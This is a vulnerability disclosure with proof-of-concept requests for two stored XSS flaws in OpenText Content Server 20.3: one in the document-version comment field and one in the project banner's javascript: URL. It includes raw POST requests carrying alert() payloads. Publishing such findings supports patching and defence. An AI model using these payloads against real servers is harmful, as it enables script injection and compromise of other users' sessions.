# Exploit Title: OpenText Content Server 20.3 - 'multiple' Stored Cross-Site Scripting
# Date: 19/02/2021
# Exploit Author: Kamil Breński
# Vendor Homepage: https://www.opentext.com/
# Software Link: https://www.opentext.com/products-and-solutions/products/enterprise-content-management/content-management
# Version: 20.3

==========================================================================================
1.) Document version XSS
==========================================================================================

A user with permissions to create new document versions could create a malicious stored cross-site  scripting  payload. The description value would be reflected by the server without proper sanitization resulting in a stored XSS vulnerability.

------------------------------------------------------------------------------------------
POST /otcs/cs.exe HTTP/1.1
Host: redacted
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------20043647051137266192675354452
Content-Length: 2071
Origin: https://redacted
Connection: close
[snipped]

-----------------------------20043647051137266192675354452
Content-Disposition: form-data; name="func"

doc.addversion2
-----------------------------20043647051137266192675354452
Content-Disposition: form-data; name="nodeID"

1125007
[snipped]
-----------------------------20043647051137266192675354452
Content-Disposition: form-data; name="comment"

<svg/onload=alert()>
-----------------------------20043647051137266192675354452
[snipped]
------------------------------------------------------------------------------------------

Next a user which visits the version site will execute the malicious javascript. An example URL will look like the following:
------------------------------------------------------------------------------------------
https://redacted/otcs/cs.exe?func=ll&objId=1125007&objAction=versions&nexturl=%2Fotcs%2Fcs%2Eexe%3Ffunc%3Dll%26objid%3D1121694%26objAction%3Dbrowse%26sort%3Dname
------------------------------------------------------------------------------------------

==========================================================================================
2.) Project Banner XSS
==========================================================================================

A project banner could  be crafter in such a way  that  clicking it would result in the execution of user defined javascript. The application did not validate the scheme used by the user supplied URL and it could be set to "javascript://". The request which saved the payload on the server look like the following:

------------------------------------------------------------------------------------------
POST /otcs/cs.exe HTTP/1.1
Host: redacted
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 479
Origin: redacted
Connection: close[snipped]

func=ll&objAction=ConfigLookFeel&objId=1120281&currenttab=2&tab=1&roleid=0&newroleid=0&IMG1_ID=1129727&IMG1_PathSaved=STM.K.Brenski%40redacted+Home%3Aimgx.svg&IMG1_Path=STM.K.Brenski%40redacted+Home%3Aimgx.svg&IMG1_ALT=THISBANNERWILLEXECUTEJAVASCRIPT&IMG1_URL=JaVaScRiPt%3Aalert%28%27XSS%27%29&IMG2_ID=1129727&IMG2_PathSaved=STM.K.Brenski%40redacted+Home%3Aimgx.svg&IMG2_Path=STM.K.Brenski%40redacted+Home%3Aimgx.svg&IMG2_ALT=THISONETOO&IMG2_URL=JaVaScRiPt%3Aalert%28%27XSS%27%29
------------------------------------------------------------------------------------------

Next a user would have to browse to the project page and click on the project banner.

==========================================================================================